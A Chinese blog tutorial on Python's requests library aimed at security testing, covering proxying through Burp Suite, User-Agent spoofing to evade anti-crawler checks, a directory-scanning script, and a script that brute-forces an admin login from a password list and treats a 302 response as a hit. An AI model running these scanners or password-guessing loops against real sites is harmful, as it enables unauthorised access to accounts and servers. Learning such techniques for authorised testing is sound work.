python库——requests的简单介绍及应用

386 阅读5分钟

作用意义:

1.很多漏洞利用代码会采用python去编写
2.根据自己的需求去写python脚本测试

requests库安装及使用

参考:www.cnblogs.com/zhangxinqi/…

安装python库
方法一:
在python库中如果没有某一个库,引入的时候,只需要把鼠标点击在库名字后面,就会出现一个红色警告的标志,提示当前python没有安装这个库
点击第二行lgnore … 则会自动安装该库,在右下角会出现安装进度条,安装完成会提示安装成功
在这里插入图片描述
若存在某库,则会如下图所示,没有任何提示
在这里插入图片描述
第二种方法:
CDM界面输入:pip install requests

第三种方法:
百度下载requests库,然后直接解压到相关目录或者解压到相关目录安装,百度有安装教程

获取网页源代码

GET方式
因为返回的是文本文件,所以得对接收对象进行转译,相当于右键查看源代码
在这里插入图片描述
不转译返回结果如下图,是一个对象
在这里插入图片描述
PUT方式
只是换一下方法而已
在这里插入图片描述
想以什么方式去访问网站,就修改请求方式即可

python设置代理抓包

源代码:

import requests

proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
url = 'http://www.xxx.com'
res = requests.get(url,proxies=proxies,verify=False)
print(res.text)

运行代码后,burpsuite抓包如下图所示,http请求头中User-Agent: python-requests/2.21.0是python抓包的信息。
一些防爬虫技术就是看的数据包请求头信息。
在这里插入图片描述
注意:verify=False是访问https网站必须得写的

修改请求头信息

如何模拟真实用户访问网站绕过防爬虫?
只需要把真实用户访问目标网站的数据包请求头中的User-Agent字段信息复制到python脚本中
请求头信息是以数组的形式存在,所以源代码如下

import requests

header = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36'
}
proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
url = 'http://www.xxx.com'
res = requests.get(url,headers=header,proxies=proxies,verify=False)
print(res.text)

在这里插入图片描述
可以看到请求包是以GET方式请求的
请求方式修改为post后就是如下所示,变成post形式
在这里插入图片描述

查看各种请求响应信息

源代码

import requests

header = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36'
}
url = 'http://www.xxxx.cn/'
r = requests.post(url,headers=header,verify=False)
print('chardet提供的编码:',r.apparent_encoding)
print('响应字节内容:',r.content)
print('响应cookies:',r.cookies.items())
print('请求到响应之间的时间:',r.elapsed)
print('响应编码:',r.encoding)
print('响应头信息:',r.headers)
print('头信息中的server:',r.headers['Server'])
print('请求历史记录:',r.history)
print('迭代响应数据:',r.iter_lines())
#print('响应json编码数据:',r.json())
print('返回解析的响应头链接:',r.links)
print('返回状态码:',r.status_code)
#print('响应str内容:',r.text)
print('响应URL:',r.url)
print('返回发送的头参数:',r.request.headers)

在这里插入图片描述

案例一——WEB扫描脚本实现(GET)

前提:目标网站没有防爬虫保护

import requests
import time

'''
1.接受需要扫描的URL地址,载入字典
2.去请求URL的组合地址,进行返回判断
3.判断返回状态编码,进行判断显示
'''

header = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36'
}
url = 'http://www.xxx.com/'
for data in open('dir.txt'):
    urls=url+data
    urls=urls.replace('\n','')
    code=requests.get(urls,headers=header).status_code
    if code == 200 or code == 403:
        print(urls)
        time.sleep(0.5)

设置时间延迟0.5秒,是怕扫描速度过快,结果不准确
在这里插入图片描述

requests异常处理

访问网站时,某些网站打不开、打开非常慢等等各种各样问题,如果python访问,没有做这种异常处理的话,程序就卡死到这个地方,后面的代码就不会执行。
所以,对这些异常进行处理,保证后面的代码正确执行,异常处理代码如下

import requests
import time

'''
1.接受需要扫描的URL地址,载入字典
2.去请求URL的组合地址,进行返回判断
3.判断返回状态编码,进行判断显示
'''

header = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36'
}
url = 'http://www.xxx.com/'
for data in open('dir.txt'):
    urls=url+data
    urls=urls.replace('\n','')
    code=requests.get(urls,headers=header).status_code
    while True:  # 一直循环,直到访问站点成功
        try:
            # 以下except都是用来捕获当requests请求出现异常时,
            # 通过捕获然后等待网络情况的变化,以此来保护程序的不间断运行
            code=requests.get(urls,headers=header).status_code
            break
        except requests.exceptions.ConnectionError:
            print('ConnectionError -- please wait 1 seconds')
            time.sleep(1)
        except requests.exceptions.ChunkedEncodingError:
            print('ChunkedEncodingError -- please wait 1 seconds')
            time.sleep(1)
        except:
            print('Unfortunitely -- An Unknow Error Happened, Please wait 3 seconds')
            time.sleep(1)

    if code == 200 or code == 403:
        print(urls)
        time.sleep(0.5)

在这里插入图片描述

案例二——模拟用户登录实现 (POST)

输入用户名密码,抓包查看,当前抓取数据包中的URL地址才是POST提交数据进行验证的地址
在这里插入图片描述
因为输入正确密码页面会进行跳转302,输入错误密码会返回200提示密码错误,所以python代码如下
其中allow_redirects=False是python requests请求禁止跳转重定向,不禁止的话就会跳转到登陆界面返回状态码200,无法区分哪个密码正确

import requests
import time

header={
'User-Agent':"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
'Accept-Language': "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",'Accept-Encoding':"gzip, deflate",'DNT':"1",'Referer':'http://www.xxx.cn/admin.php/Index/login','Cookie':'Hm_lvt_e26bbff3463d1231cfb3222f4a62e02d=1566635724,1566640637; PHPSESSID=771ac1694ee9e16c4ba4c099cc741d58','X-Forwarded-For':'8.8.8.8','Connection':'close','Upgrade-Insecure-Requests': '1','Content-Type':'application/x-www-form-urlencoded'
}
for password in open('pass.txt'):
    password=password.replace('\n','')
    url='http://www.xxx.cn/admin.php/Index/loginDetection'
    post_data='user_name=admin&pass_word='+password+'&login.x=94&login.y=11'
    proxies={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
    code=requests.post(url,headers=header,data=post_data,proxies=proxies,allow_redirects=False).status_code
    if code==302:
        print(password)

在这里插入图片描述
参考:www.cnblogs.com/zhangxinqi/…